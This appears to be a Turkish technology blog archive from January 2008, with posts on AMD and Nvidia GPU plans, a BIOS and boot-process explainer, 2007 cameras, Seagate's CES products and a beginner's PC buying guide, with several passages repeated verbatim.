Radeon HD 3870: Halef çoktan başlangıç noktasına geldi.AMD, bir sonraki grafik yongası RV770'in çıkışını hızlandırmak istiyor. Haberi bildiren ise branş dergisi digitimes.com.
Sebep olarak ise güncel Radeon-HD-3800 serisinin iyi satışları gösteriliyor. Nvidia'yı daha da zor duruma düşürmek için mümkün olan en kısa sürede yeni ekran kartları piyasaya sürülmeli.
Rakip Nvidia ise aynı renkten oynamak istiyor: Bir sonraki GPU nesli G100 de daha erken piyasaya sürülecek. Kesin veriler henüz belli değil.
22 Ocak 2008 Salı
2007 yılının en iyi grafik işlemcileri
2007 sonunda güçlü grafik işlemcileri için makul fiyatlar getirdi. Yıllarca, canlı grafik için önce 500 YTL üzeri daha korkunç rakamlar ödemeniz gerekiyorken, bugün sadece bunun yarı fiyatı ile tam güce sahip olabiliyorsunuz. Grafik çiplerindeki en büyük problem: half-life.
Bu nedenle haklı bir fiyat savaşı ortaya çıkıyor: Yılın sonunda hem AMD / ATI hemde Nvidia hesaplı ve oldukça başarılı grafik çiplerini halka sundu. Hatta düşük fiyatlı Nvidia GeForce 8800 GT öyle bir rağbet gördü ki bu kartı uzun bir süre tamamı satıldığından raflarda göremedik. AMD ise Radeon HD 3800 serisi ile puan topladı. Bu marka şuan „AMD Spider" platformu içerisindeki gerçekten satın alınmaya değer tek parça.
2007 genel itibari ile oyun oynamayı sevenler için çok güzel bir yıl oldu. Yazılımcılar, DirectX 10.0 ve 10.1 ile monitörlerde harika grafikler yarattılar. Ve kullanıcılar bu grafiklerin tadını çıkarabilecekleri hesaplı donanım için şimdiden seviniyorlar. En doğru grafik kartını bulabilmeniz için size bir rehber hazırladık. Vereceğimiz üç önemli öneri ile asla yanlış yapmayacaksınız.
Bu nedenle haklı bir fiyat savaşı ortaya çıkıyor: Yılın sonunda hem AMD / ATI hemde Nvidia hesaplı ve oldukça başarılı grafik çiplerini halka sundu. Hatta düşük fiyatlı Nvidia GeForce 8800 GT öyle bir rağbet gördü ki bu kartı uzun bir süre tamamı satıldığından raflarda göremedik. AMD ise Radeon HD 3800 serisi ile puan topladı. Bu marka şuan „AMD Spider" platformu içerisindeki gerçekten satın alınmaya değer tek parça.
2007 genel itibari ile oyun oynamayı sevenler için çok güzel bir yıl oldu. Yazılımcılar, DirectX 10.0 ve 10.1 ile monitörlerde harika grafikler yarattılar. Ve kullanıcılar bu grafiklerin tadını çıkarabilecekleri hesaplı donanım için şimdiden seviniyorlar. En doğru grafik kartını bulabilmeniz için size bir rehber hazırladık. Vereceğimiz üç önemli öneri ile asla yanlış yapmayacaksınız.
21 Ocak 2008 Pazartesi
BIOS nedir, ne işe yarar?
Çok küçük kapasiteye sahip olan ve oldukça basit işlemler gerçekleştiren BIOS'ta en ufak bir sorun yaşanırsa bilgisayarınız devre dışı kalabilir.
Bilgisayar ile gerçekleştirilen her türlü işlemde, işlemcinin önemli bir görevi vardır. İçerisinde milyonlarca transistoru barındıran ve ana işlevi kendisine verilen komutları işleme dönüştürmek olan işlemci, bu esnada en çok bellek ile veri alışverişinde bulunur. Tüm verileri depolama görevini üstlenen sabit disk, bu veriyi öncelikle belleklere yollar. Bellekler ise aynı şekilde veriyi işlemciye gönderir. Bu döngü sürekli olarak sürer ve veri, sabit disk, işlemci ve bellek arasında gidip gelir. Ancak bilgisayarlar için öyle bir an vardır ki işlemci için gereken veri, doğrudan elde edilemez. Bu olay bilgisayarın ilk açıldığı anda karşımıza çıkar. İşlemci sistem açılışı anında sabit diske erişmek ister. Sabit diske erişimin gerçekleşebilmesi için bilgisayarın sistemle ilgili ana bilgileri elde etmesi gereklidir. Bu bilgiler ise sabit diskte saklıdır. Yani bu durumda sistemin açılması için gerekli olan bilgi sabit diskte bulunmasına rağmen sistem bileşenleri aktif hale geçmediği için sabit diske erişim mümkün değildir. Bu durumu anahtarı içinde saklı olan bir kasaya benzetebiliriz. Anahtara erişim olmadığı için kasa açılamamaktadır. Kasa açılamadığı için de anahtara erişilememektedir. İşte bu sorunu aşmak için sistemi tanımlamaya yarayan ve oldukça az yer kaplayan bilgiler başka bir ortamda tutulmalıdır. Bu ortam BIOS yongasıdır.
BIOS'un görevi
BIOS (Basic Input-Output System) kelimesinin anlamı ‘Ana giriş-çıkış sistemi'dir. BIOS içerisinde sistemin ilk açılışını gerçekleştirmek için yeterli derece bilgi yer alır. Açılış sırasında BIOS tarafından yapılan ilk iş CMOS bilgilerini kontrol etmektir. CMOS belleğinin görev yapabilmesi için çok zayıf elektrik akımı yeterlidir ve bu akım anakartlar üzerinde yer alan saat pilleri tarafından karşılanır. Bu enerji ihtiyacı o kadar düşüktür ki bir pil herhangi bir sorun olmadığı sürece beş yıl bile yeterli olabilir. CMOS içerisinde BIOS tarafından saklanamayan bellek gecikme süreleri gibi bazı değişkenler yer alır. Bildiğiniz gibi bu değişkenlerin otomatik olarak algılanmasını seçebileceğiniz gibi kendimiz de manuel olarak girebiliriz. Yaptığımız değişikliklerin kaybolmamasını bu pil sağlar. Bazen kullanıcılar bilgisayarlarının saatinin ve tarihinin sürekli sıfırlandığından şikayetçi olur. Bu olayın sebebi anakart üzerindeki pilin bitmesi ya da bitmek üzere olmasıdır. Saat ve tarih bilgileri silinse de anakart bileşenleri ile ilgili pek çok diğer bilgi silinmez. Çünkü bu bilgiler CMOS altında değil BIOS yongasının esas belleğinde bulunmaktadır. BIOS altında yer alan bu esas belleğin değişimi ancak BIOS güncellemesi sırasında gerçekleşir. Örneğin kullanmış olduğunuz anakart, yapılan bir BIOS güncellemesi sonrasında en yeni işlemcileri tanır hale gelebilir. BIOS güncellemesinin son derece riskli olmasının altında yatan neden de budur. Güncelleme sırasında oluşabilecek elektrik kesintisi gibi bir sorun ya da başka bir anakarta ait olan güncelleme dosyasının yüklenmesi anakartı kullanılmaz hale getirebilir. Bunun sebebi BIOS içindeki ana belleğin hasar görmesidir. Böyle bir sorun oluştuğunda bilgisayar hiçbir şekilde açılmaz.
Açılış sırasındaki adımlar
CMOS altındaki tüm değerler yüklendikten sonra güç yönetim özellikleri aktif hale geçer ve görüntü kartı tanımlanır. Günümüzdeki görüntü kartlarının kendilerine ait birer BIOS yongası bulunmaktadır. BIOS görüntü kartını bulduğu anda kartın içerisindeki BIOS bilgisini okuyarak özelliklerini hızlı bir şekilde öğrenir ve ekrana yansıtır. Bu nedenledir ki bilgisayarınızı açtığınızda ekrana gelen ilk görüntü, ekran kartının modeli ve belleği ile ilgili bilgi satırıdır. Daha sonraki aşama POST (Power On Self Test) olarak adlandırılır. POST sırasında anakarta bağlı PS/2 ve USB tipindeki klavye ve farelerin taraması yapılır. Hemen ardından tüm PCI yuvaları taranarak mevcut kartlar listelenir. Eğer CMOS ayarları altında ‘Quick Power On Self Test' yani ‘Hızlı POST' aktif hale getirilmemişse bellekler denetlenir. Denetleme sırasında sistem belleği ya da bellekleri okuma ve yazma testine tabi tutulur. Bu işlemler sırasında bilgisayardan gelebilecek sesli uyarı sinyalleri donanımsal bir sorun olduğunu belli eder. Çünkü henüz işletim sitemi ile ilgili hiçbir dosya yüklenmemiştir.
POST işlemi başarılı şekilde sonuçlandığında IDE cihazları kontrol edilmeye başlanır. Cihazların kontrol edilmesi her bir IDE kablosuna sırayla sinyal gönderilerek yapılır. Sinyal geri dönmediğinde bu kanalın boş olduğu varsayılır. Sinyal döndüğü takdirde türüne bağlı olarak cihazın modeli, markası, kapasitesi ve özellikleri ile ilgili bilgiler elde edilir.
Yanlış BIOS ayarları sisteme zarar verebilir mi?
BIOS altındaki bazı ayarlarda değişiklik yapılması sistem bileşenlerinin zarar görmesine sebep olabilir. Özellikle yeni nesil anakartlarda yer alan işlemci ve bellek gerilim ayarları, son derece tehlikeli sonuçlar doğurabilir. Örneğin bu değerlerin 0.5 Volt arttırılması bile işlemcinin yanmasına sebep olabilir. Bunun yanında yüksek frekanslarda çalışan ve oldukça fazla ısınan işlemcilerin ısı değerleri çok iyi şekilde takip edilmelidir. Çoğu anakartta yer alan ısı kontrolcüleri BIOS altındaki ayarlarla denetlenmektedir. Bu ayar sayesinde ısı değeri belli bir değeri aştığında sistemin kapanması sağlanabilir. Bu ayar bölümündeki eşik sınır değeri 70 C iken değişiklik yapılıp tamamen devre dışı kalması sağlanırsa işlemcinin ısınarak yanması ihtimali doğabilir. Elbette bu sonucun doğması için işlemci fanının arızalanması ya da yerinden oynaması gereklidir.
Boot işleminin detayları
Tüm anlatılan aşamalar atlatıldıktan sonra işletim sitemi yüklenmeye başlanır. Elbette bu aşamada açılış için kullanılan sıralama dikkate alınır. Eğer açılış sırası ‘A, C, CD-ROM' şeklinde ise ilk önce disket sürücü yuvası kontrol edilir. Sırasıyla açılış sırasındaki tüm cihazlar işletim sistemi için gerekli dosyaları içermiyorsa bu durumda ekrana hata uyarısı gelir.
İşletim sistemi açıldıktan sonra BIOS'un devre dışı kaldığını sanıyorsanız yanılıyorsunuz. Belli bir uygulama, işlemciyi devreye sokmak istediğinde özel bir sinyal gönderir. İşlemci BIOS bilgisini inceleyerek veri göndermekte olan bir bileşen olup olmadığını kontrol eder. Örneğin veri girişi olduğu sürece klavyeden gelen sinyaller de bu şekilde iletilir. İşlemci ve bellek bu sayede veri iletişimini sağlıklı şekilde gerçekleştirir.
Güncelleme dikkat ister
Bilgisayarınızdaki anakartın BIOS bilgilerini güncelleyebileceğinizi ama bu işlemin riskli olduğunu söylemiştik. Bu durum bazen şart olabilir. Örneğin 3 - 4 yıllık bir bilgisayar yeni almış olduğunuz 80 GB kapasiteli sabit diski tanımayabilir. Bu durumda anakart üreticisinin internet sitesini kontrol edip yeni bir BIOS sürümü olup olmadığını kontrol etmelisiniz. Bilgisayarınızla ilgili bir sorununuz olmadığı sürece BIOS güncellemesi yapmayı denemeyin. Bazı anakartlarda BIOS'un güncellenmesini engelleyen bir jumper bulunur.
Bu jumper'ı farklı bir konuma getirmediğiniz sürece güncelleme mümkün olmaz. BIOS bilgilerini silme özelliğine sahip bazı virüslerden bu şekilde rahatlıkla korunabilirsiniz. Diğer yandan Gigabyte firmasının kullandığı Dual-BIOS teknolojisi de oldukça faydalı bir özellik. Bu teknoloji BIOS'un birebir kopyasını içermekte ve bir sorun olduğu anda diğer kopya devreye girerek anakartı korumakta.
Disket sürücü, sistem açılışını engelleyebilir
BIOS altındaki ayarlar da ile ilk açılış cihazı olarak disket sürücü seçilmiş ise ve disket sürücü içinde sistem disketi olmayan bir disket mevcut ise sistem açılışı yarıda kalacaktır. Bunun nedeni BIOS'un disket sürücüyü otomatik olarak geçme özelliğinin olmamasıdır. Halbuki ilk cihaz olarak CD-Rom seçilse, sürücü içinde sistem açılış CD'si olmadığında derhal bir sonraki açılış cihazına geçilir. Tüm disketler Windows altında formatlandığı anda ilk sektöre özel bir bilgi yazılır. Açılış disketi olarak formatlanmamış disketler sistemi beklemeye alır. Hiç formatlanmamış disketler ise işleme tabi tutulmadığından açılışı engellemezler.
Bilgisayar ile gerçekleştirilen her türlü işlemde, işlemcinin önemli bir görevi vardır. İçerisinde milyonlarca transistoru barındıran ve ana işlevi kendisine verilen komutları işleme dönüştürmek olan işlemci, bu esnada en çok bellek ile veri alışverişinde bulunur. Tüm verileri depolama görevini üstlenen sabit disk, bu veriyi öncelikle belleklere yollar. Bellekler ise aynı şekilde veriyi işlemciye gönderir. Bu döngü sürekli olarak sürer ve veri, sabit disk, işlemci ve bellek arasında gidip gelir. Ancak bilgisayarlar için öyle bir an vardır ki işlemci için gereken veri, doğrudan elde edilemez. Bu olay bilgisayarın ilk açıldığı anda karşımıza çıkar. İşlemci sistem açılışı anında sabit diske erişmek ister. Sabit diske erişimin gerçekleşebilmesi için bilgisayarın sistemle ilgili ana bilgileri elde etmesi gereklidir. Bu bilgiler ise sabit diskte saklıdır. Yani bu durumda sistemin açılması için gerekli olan bilgi sabit diskte bulunmasına rağmen sistem bileşenleri aktif hale geçmediği için sabit diske erişim mümkün değildir. Bu durumu anahtarı içinde saklı olan bir kasaya benzetebiliriz. Anahtara erişim olmadığı için kasa açılamamaktadır. Kasa açılamadığı için de anahtara erişilememektedir. İşte bu sorunu aşmak için sistemi tanımlamaya yarayan ve oldukça az yer kaplayan bilgiler başka bir ortamda tutulmalıdır. Bu ortam BIOS yongasıdır.
BIOS'un görevi
BIOS (Basic Input-Output System) kelimesinin anlamı ‘Ana giriş-çıkış sistemi'dir. BIOS içerisinde sistemin ilk açılışını gerçekleştirmek için yeterli derece bilgi yer alır. Açılış sırasında BIOS tarafından yapılan ilk iş CMOS bilgilerini kontrol etmektir. CMOS belleğinin görev yapabilmesi için çok zayıf elektrik akımı yeterlidir ve bu akım anakartlar üzerinde yer alan saat pilleri tarafından karşılanır. Bu enerji ihtiyacı o kadar düşüktür ki bir pil herhangi bir sorun olmadığı sürece beş yıl bile yeterli olabilir. CMOS içerisinde BIOS tarafından saklanamayan bellek gecikme süreleri gibi bazı değişkenler yer alır. Bildiğiniz gibi bu değişkenlerin otomatik olarak algılanmasını seçebileceğiniz gibi kendimiz de manuel olarak girebiliriz. Yaptığımız değişikliklerin kaybolmamasını bu pil sağlar. Bazen kullanıcılar bilgisayarlarının saatinin ve tarihinin sürekli sıfırlandığından şikayetçi olur. Bu olayın sebebi anakart üzerindeki pilin bitmesi ya da bitmek üzere olmasıdır. Saat ve tarih bilgileri silinse de anakart bileşenleri ile ilgili pek çok diğer bilgi silinmez. Çünkü bu bilgiler CMOS altında değil BIOS yongasının esas belleğinde bulunmaktadır. BIOS altında yer alan bu esas belleğin değişimi ancak BIOS güncellemesi sırasında gerçekleşir. Örneğin kullanmış olduğunuz anakart, yapılan bir BIOS güncellemesi sonrasında en yeni işlemcileri tanır hale gelebilir. BIOS güncellemesinin son derece riskli olmasının altında yatan neden de budur. Güncelleme sırasında oluşabilecek elektrik kesintisi gibi bir sorun ya da başka bir anakarta ait olan güncelleme dosyasının yüklenmesi anakartı kullanılmaz hale getirebilir. Bunun sebebi BIOS içindeki ana belleğin hasar görmesidir. Böyle bir sorun oluştuğunda bilgisayar hiçbir şekilde açılmaz.
Açılış sırasındaki adımlar
CMOS altındaki tüm değerler yüklendikten sonra güç yönetim özellikleri aktif hale geçer ve görüntü kartı tanımlanır. Günümüzdeki görüntü kartlarının kendilerine ait birer BIOS yongası bulunmaktadır. BIOS görüntü kartını bulduğu anda kartın içerisindeki BIOS bilgisini okuyarak özelliklerini hızlı bir şekilde öğrenir ve ekrana yansıtır. Bu nedenledir ki bilgisayarınızı açtığınızda ekrana gelen ilk görüntü, ekran kartının modeli ve belleği ile ilgili bilgi satırıdır. Daha sonraki aşama POST (Power On Self Test) olarak adlandırılır. POST sırasında anakarta bağlı PS/2 ve USB tipindeki klavye ve farelerin taraması yapılır. Hemen ardından tüm PCI yuvaları taranarak mevcut kartlar listelenir. Eğer CMOS ayarları altında ‘Quick Power On Self Test' yani ‘Hızlı POST' aktif hale getirilmemişse bellekler denetlenir. Denetleme sırasında sistem belleği ya da bellekleri okuma ve yazma testine tabi tutulur. Bu işlemler sırasında bilgisayardan gelebilecek sesli uyarı sinyalleri donanımsal bir sorun olduğunu belli eder. Çünkü henüz işletim sitemi ile ilgili hiçbir dosya yüklenmemiştir.
POST işlemi başarılı şekilde sonuçlandığında IDE cihazları kontrol edilmeye başlanır. Cihazların kontrol edilmesi her bir IDE kablosuna sırayla sinyal gönderilerek yapılır. Sinyal geri dönmediğinde bu kanalın boş olduğu varsayılır. Sinyal döndüğü takdirde türüne bağlı olarak cihazın modeli, markası, kapasitesi ve özellikleri ile ilgili bilgiler elde edilir.
Yanlış BIOS ayarları sisteme zarar verebilir mi?
BIOS altındaki bazı ayarlarda değişiklik yapılması sistem bileşenlerinin zarar görmesine sebep olabilir. Özellikle yeni nesil anakartlarda yer alan işlemci ve bellek gerilim ayarları, son derece tehlikeli sonuçlar doğurabilir. Örneğin bu değerlerin 0.5 Volt arttırılması bile işlemcinin yanmasına sebep olabilir. Bunun yanında yüksek frekanslarda çalışan ve oldukça fazla ısınan işlemcilerin ısı değerleri çok iyi şekilde takip edilmelidir. Çoğu anakartta yer alan ısı kontrolcüleri BIOS altındaki ayarlarla denetlenmektedir. Bu ayar sayesinde ısı değeri belli bir değeri aştığında sistemin kapanması sağlanabilir. Bu ayar bölümündeki eşik sınır değeri 70 C iken değişiklik yapılıp tamamen devre dışı kalması sağlanırsa işlemcinin ısınarak yanması ihtimali doğabilir. Elbette bu sonucun doğması için işlemci fanının arızalanması ya da yerinden oynaması gereklidir.
Boot işleminin detayları
Tüm anlatılan aşamalar atlatıldıktan sonra işletim sitemi yüklenmeye başlanır. Elbette bu aşamada açılış için kullanılan sıralama dikkate alınır. Eğer açılış sırası ‘A, C, CD-ROM' şeklinde ise ilk önce disket sürücü yuvası kontrol edilir. Sırasıyla açılış sırasındaki tüm cihazlar işletim sistemi için gerekli dosyaları içermiyorsa bu durumda ekrana hata uyarısı gelir.
İşletim sistemi açıldıktan sonra BIOS'un devre dışı kaldığını sanıyorsanız yanılıyorsunuz. Belli bir uygulama, işlemciyi devreye sokmak istediğinde özel bir sinyal gönderir. İşlemci BIOS bilgisini inceleyerek veri göndermekte olan bir bileşen olup olmadığını kontrol eder. Örneğin veri girişi olduğu sürece klavyeden gelen sinyaller de bu şekilde iletilir. İşlemci ve bellek bu sayede veri iletişimini sağlıklı şekilde gerçekleştirir.
Güncelleme dikkat ister
Bilgisayarınızdaki anakartın BIOS bilgilerini güncelleyebileceğinizi ama bu işlemin riskli olduğunu söylemiştik. Bu durum bazen şart olabilir. Örneğin 3 - 4 yıllık bir bilgisayar yeni almış olduğunuz 80 GB kapasiteli sabit diski tanımayabilir. Bu durumda anakart üreticisinin internet sitesini kontrol edip yeni bir BIOS sürümü olup olmadığını kontrol etmelisiniz. Bilgisayarınızla ilgili bir sorununuz olmadığı sürece BIOS güncellemesi yapmayı denemeyin. Bazı anakartlarda BIOS'un güncellenmesini engelleyen bir jumper bulunur.
Bu jumper'ı farklı bir konuma getirmediğiniz sürece güncelleme mümkün olmaz. BIOS bilgilerini silme özelliğine sahip bazı virüslerden bu şekilde rahatlıkla korunabilirsiniz. Diğer yandan Gigabyte firmasının kullandığı Dual-BIOS teknolojisi de oldukça faydalı bir özellik. Bu teknoloji BIOS'un birebir kopyasını içermekte ve bir sorun olduğu anda diğer kopya devreye girerek anakartı korumakta.
Disket sürücü, sistem açılışını engelleyebilir
BIOS altındaki ayarlar da ile ilk açılış cihazı olarak disket sürücü seçilmiş ise ve disket sürücü içinde sistem disketi olmayan bir disket mevcut ise sistem açılışı yarıda kalacaktır. Bunun nedeni BIOS'un disket sürücüyü otomatik olarak geçme özelliğinin olmamasıdır. Halbuki ilk cihaz olarak CD-Rom seçilse, sürücü içinde sistem açılış CD'si olmadığında derhal bir sonraki açılış cihazına geçilir. Tüm disketler Windows altında formatlandığı anda ilk sektöre özel bir bilgi yazılır. Açılış disketi olarak formatlanmamış disketler sistemi beklemeye alır. Hiç formatlanmamış disketler ise işleme tabi tutulmadığından açılışı engellemezler.
18 Ocak 2008 Cuma
2007 fotoğrafçılar için iyi bir seneydi: süper minilerden profesyonel DSLR'e kadar tüm modeller dijital kamere fırsatlarını zenginleştirdi.
2007 senesi içinde fotoğrafçılar yaklaşık 200 yeni makine ile karşı karşıya kaldılar ki, bu şimdiye kadar hiç olmamış, büyük bir performans yelpazesi oluşturuyordu. Buna göre rekor markalar şu sıraya göre ilerliyor: kompakt sınıfında sadece 18X zum, 12 MP sensor veya 2 GB dahili hafızaya sahip modeller var - buna ek olarak yüz tanıma, gülümseme-otomatiği veya akıllı ISO-uyumu gibi yeni donanım unsurları da ekleniyor. DSLR'lerde ise Canon 21 MP sınırını aşıyor, Nikon tam-format-sensorunu tanıttı ve orta düzeyde Canon EOS 40D, Nikon D300 veya Sony Alpha 700 tekniğin düzeyini yeniden tanımladırlar.
17 Ocak 2008 Perşembe
Seagate'in "CES" Çıkarması!..
İlk kez tamamen şifrelenmiş harici depolama, kablosuz mobil depolama uygulamaları, güvenli ağ içi içerik erişim çözümleri ve DVR (Dijital video kaydı) çoğaltıcı depolama aygıtları yeni ürünler arasında bulunuyor.
Seagate, gerçekleştirdiği Maxtor BlackArmor depolama çözümü ve Central Axis teknolojisi lansmanlarıyla dijital içerik güvenliği ve erişimindeki pozisyonunu daha da güçlendirdi. Maxtor BlackArmor, devlet düzeyinde AES şifreleme yapabilen bir harici depolama cihazı. Central Axis Teknolojisi ise Maxtor Shared Storage II ağ sürücüleri için güvenli uzaktan erişim ve dosya paylaşımını sağlayan bir yazılım yükseltmesi olarak tanımlanıyor. Seagate bu ürünlerle birlikte taşınabilir kablosuz depolama cihazı D.A.V.E. pazarını artıracak bir takım ortaklıkların duyurusunu yaptığı 2008 Uluslararası Tüketici Elektroniği Fuarı'nda, DVR'lar için özel olarak yapılmış yeni sabit disk serisi olan PipelineHD'ı ve popüler FreeAgent depolama çözümlerinin geliştirilmiş yeni özelliklerini ilk kez tüketicilerin beğenisine sundu.
Seagate CEO'su Bill Watkins, tüketicilerin daha önce hiç olmadığı kadar büyük boyutlarda dijital içerik yaratıp paylaştıklarını belirterek, "Sadece Amerikalılar bu yıl içerisinde 100 milyar web videosu izlediler. İçerik artık her yerde ve bu da depolama ihtiyacını her noktada artırıyor. Seagate, insanları oluşturdukları bütün içerikle birbirine bağlarken bu içeriği koruyor ve aynı zamanda kullanıcıların istedikleri yer ve zamanda güvenli bir biçimde paylaşım, erişim ve eğlence ihtiyaçlarını karşılamalarını sağlıyor" dedi.
Seagate, gerçekleştirdiği Maxtor BlackArmor depolama çözümü ve Central Axis teknolojisi lansmanlarıyla dijital içerik güvenliği ve erişimindeki pozisyonunu daha da güçlendirdi. Maxtor BlackArmor, devlet düzeyinde AES şifreleme yapabilen bir harici depolama cihazı. Central Axis Teknolojisi ise Maxtor Shared Storage II ağ sürücüleri için güvenli uzaktan erişim ve dosya paylaşımını sağlayan bir yazılım yükseltmesi olarak tanımlanıyor. Seagate bu ürünlerle birlikte taşınabilir kablosuz depolama cihazı D.A.V.E. pazarını artıracak bir takım ortaklıkların duyurusunu yaptığı 2008 Uluslararası Tüketici Elektroniği Fuarı'nda, DVR'lar için özel olarak yapılmış yeni sabit disk serisi olan PipelineHD'ı ve popüler FreeAgent depolama çözümlerinin geliştirilmiş yeni özelliklerini ilk kez tüketicilerin beğenisine sundu.
Seagate CEO'su Bill Watkins, tüketicilerin daha önce hiç olmadığı kadar büyük boyutlarda dijital içerik yaratıp paylaştıklarını belirterek, "Sadece Amerikalılar bu yıl içerisinde 100 milyar web videosu izlediler. İçerik artık her yerde ve bu da depolama ihtiyacını her noktada artırıyor. Seagate, insanları oluşturdukları bütün içerikle birbirine bağlarken bu içeriği koruyor ve aynı zamanda kullanıcıların istedikleri yer ve zamanda güvenli bir biçimde paylaşım, erişim ve eğlence ihtiyaçlarını karşılamalarını sağlıyor" dedi.
10 Ocak 2008 Perşembe
Bilgisayar Satın Alma Rehberi
Bilgisayar Satın Alma Rehberi
Günümüzde bilgisayar alanların sayısı bir hayli artmış durumda. Herkes çağın gerisinde kalmak istemiyor. Ancak bilgisayar satın alırken birçok sorun ortaya çıkıyor.
Bilgisayar yaklaşık 12-13 parçadan oluşur. Ve malesef bilgisayarı almakla çamaşır makinesi veya tv almak arasında çok fark var. En büyük fark tv aldığınızda bu bir markadır. Cihazın bütünü tek bir firma tarafından üretilmiştir. Bilgisayarı oluşturan 12-13 parçanın hepsini üretebilen bir firma yoktur. Piyasada iki tür bilgisayar çeşidi vardır. Birinici markalı, ikincisi ise toplama bilgisayarlardır. Toplama lafı insanın kulağına pek hoş gelmiyor. Ancak sanılanın aksine markalı bilgisayarlarda toplamadır. Nasıl oluyor diyeceksiniz? Daha önce bahsettiğimiz gibi bir firma bilgisayarın bütün parçalarını üretemez. Bunun yerine kendi ürettiği parçaların yanına diğer uyumlu parçaları yerleştirerek bir ürün ortaya çıkarır. Bu yüzden IBM, HP, Compaq vs. gibi markalı olan bilgisayarlarda aslında bir toplamadır. Bu tür firmalar genelde sadece anakart, klavye, mouse ve kasayı üretirler. Diğer parçaları ise başka markalardan tamamlarlar. Ancak fiyatları toplama bilgisayarlara göre yüksektir. Bunun nedeni ise özellikle marka imajıdır. Yine de markalı bilgisayarlarda kullanılan parçalar genelde birbiri uyumludur ve servisleri iyidir. Toplama bilgisayarlara gelecek olursak, günümüzde hangi bilgisayar firmasına gidecek olursak alacağımız her bilgisayar toplama olacaktır. Yani bilgisayar firmasının oluşturduğu veya sizin seçtiğiniz parçalardan oluşan bir bilgisayardır toplama bilgisayarlar. Toplama bilgisayarlarda dikkat edilecek husus ise her parçada kaliteli ve performanslı bir marka seçmektir.
Şimdi dilerseniz bilgisayarın parçalarına bir gözatalım...
--------------------------------------------------------------------------------
Anakart (mainboard) bilgisayarın herşeyi diyebiliriz. Birçok parça üstüne takılır ve bu parçalar arasında iletişimi sağlar. Anakart alırken kesinlikle kaliteli markalar tercih edilmesi ileride yaşayacağınız sorunları en aza indirir. Asus, Gigabyte, Abit, Aopen gibi anakartlar listenizin başında gelecek marklar olsun. Bu markaların en ucuz modelleri bile çok stabil ve performanslı çalışmaktadırlar. Anakart fiyatları 50$ ile 300$ dolar arasında değişmektedir. Daha pahalı nadir modeller de mevcuttur. Şu anda alınabilecek ortalama iyi bir anakart ise 120$ civarındadır. Anakart alırken gözönünde tutmanız gereken noktalar ise şunlardır:
1- Aşağıda gördüğünüz beyaz PCI yuvalarının olabildiğince çok olmalarına dikkat edin. Böylece fax-modem, tv-kartı, ses kartı gibi parçalar takarken boş yuva bulma sorununuz ortadan kalkar. Bazı ucuz modeller aşağıda kartdan daha az PCI yuva sunarlar.
2-Anakartların önemli bir parçasıda chipset'leridir. INTEL, VIA, SIS gibi değişik alternatifler mevcuttur. Intel chipsetleri tercih etmeniz daha yararlıdır. (Örnek i845)
3-Eğer ses konusunda hasta değil iseniz, anakartınızı ses chipli modellerden tercih edebilirsiniz. Ekstra ses kartı almaktan kurtularak, daha ekonomik bir çözüm sağlarsınız.
4- Bilgisayarlarda artık daha fazla USB girişlerini kullanan cihazlar boy göstermektedirler. Bu yüzden alacağınız anakartta USB girişlerinin fazla olmasına dikkat ediniz.
--------------------------------------------------------------------------------
İkinci inceleyeceğimiz parça CPU (işlemci): İşlemci bilgisayarınızın tüm işlemlerini yapan ve hızını belirleyen en önemli parçadır. Şu anda Pentium 4 işlemciler yaygındır. İşleciyi en kadar hızlı modellerden seçerseniz bilgisayarınız o derecede hızlı olacaktır. Piyadasa Intel ve AMD marka işlemcileri bulabilirsiniz. Ancak en çok Intel marka işlemciler yaygındır. İşlemciler de en büyük sorun ısınma sorunudur. Bunun için üstlerine fan takılır. Bu fanlarında kaliteli olması gerekir. Eğer fan görevini iyi yerine getiremezse işlemci yanabilir.
--------------------------------------------------------------------------------
Sıradaki parçamız ise RAM: RAM için bilgisayarın geçici hafızası diyebiliriz. Bilgisayarda bir programı çalştırdığınız zaman bilgiler harddiskten alınıp ram'a aktırılarak size ulaştırılır. Bilgisayarın hızını etkileyen ikinci önemli parçadır. Örnek olarak Windows XP ortalama 128 MB RAM istemektedir. Eğer bilgisayarınızda 128 MB ram var ise windows açıldıktan sonra programlarınıza çok az yer kalır demektir. Bilgisayar Ram'da yeterince boş yer bulamazsa harddiski ram gibi kullanır. Harddisk ram'a göre yavaşi olduğu için bu da performans düşmesi demektir. RAM harddiske göre 300 kat daha hızlıdır. Şu anda bir bilgisayarda 256 MB olması o bilgisayarın rahat çalışması için yeterlidir. Sadece mühendislik, animasyon vs uygulamalarda daha fazla ram gerekir. Bilgisayarınızdan performans alamıyorsanız ilk önce ram'ınıza bakın. eğer 32, 64 Mb ram'ınız varsa mutalaka ram ekleyin. Makineniz daha rahat çalışıp, harddiskin sürekli çalışma sesi azalacaktır. Piyasada SDRAM, DDRAM, RDRAM gibi seçenekler bulunmaktadır. SDRAM daha az performanslı olmasına rağmen uzun süredir standart, stabil, ekonomik bir ram türüdür. Şu anda 256 MB SDRAM 70$ dolar civarındadır. Ram'ler hassas parçalardır. Özellikle statik elektrikten etkilenirler. Ram ile uğraşırken önce kendinizi topraklayın. Bir metala deyin mesela. Ayrıca chiplerine deymemeye çalışın. Eğer ram'a zarar verirseniz bilgisayarınız çalışırken bir sürü program hataları ile karşılaşabilirsiniz.
--------------------------------------------------------------------------------
Evet işte depomuza sıra geldi Harddisk: Harddisk bilgisayarımızda programlarımızı barındıran depodur. Bilgisayarın elektriği kapandığında bile programlar hala saklanır. İstediğimiz zaman bize programlara ulaşma şansı verir. Zaman geçtikçe ihtiyaç doğrultusunda harddisklerin kapasiteleri müthiş arttı. Şu anda 20-40 GB harddiskler tutuluyor. Yakın bir zamanda çıta yükselecek her zamanki gibi. Ayrıca 20 ile 40 GB arasındaki fiyat farkı da çok az. Harddisk alırken özellikle 7200 rpm ve ATA-133 veriyolu destekli hızlı harddiskleri tercih ediniz. Marka olarak Matrox, Seagate, Quantum, Samsung, Western Digital gibi iyi markaları tercih edebilirsiniz.
--------------------------------------------------------------------------------
Ekran (Monitör): Bilgisayarın yaptığı işlemcileri görmemizi sağlayan birime ekran (monitör) denir. Monitörler çeşitli büyüklüktedirler. 15, 17, 21 inc gibi. Şu anda piyasada daha çok 17 inç monitörler yaygındır. Monitör alırken dikkat etmeniz gereken şey yine markadır. Philips, LG, Hyundai gibi markaları tercih edebilirsiniz. Oyunlara çok düşkün ve paranız varsa bu markaların daha üst modelleri de mevcuttur. Örnek olarak Philips 17 inç modeli yaklaşık 156$'dır.
--------------------------------------------------------------------------------
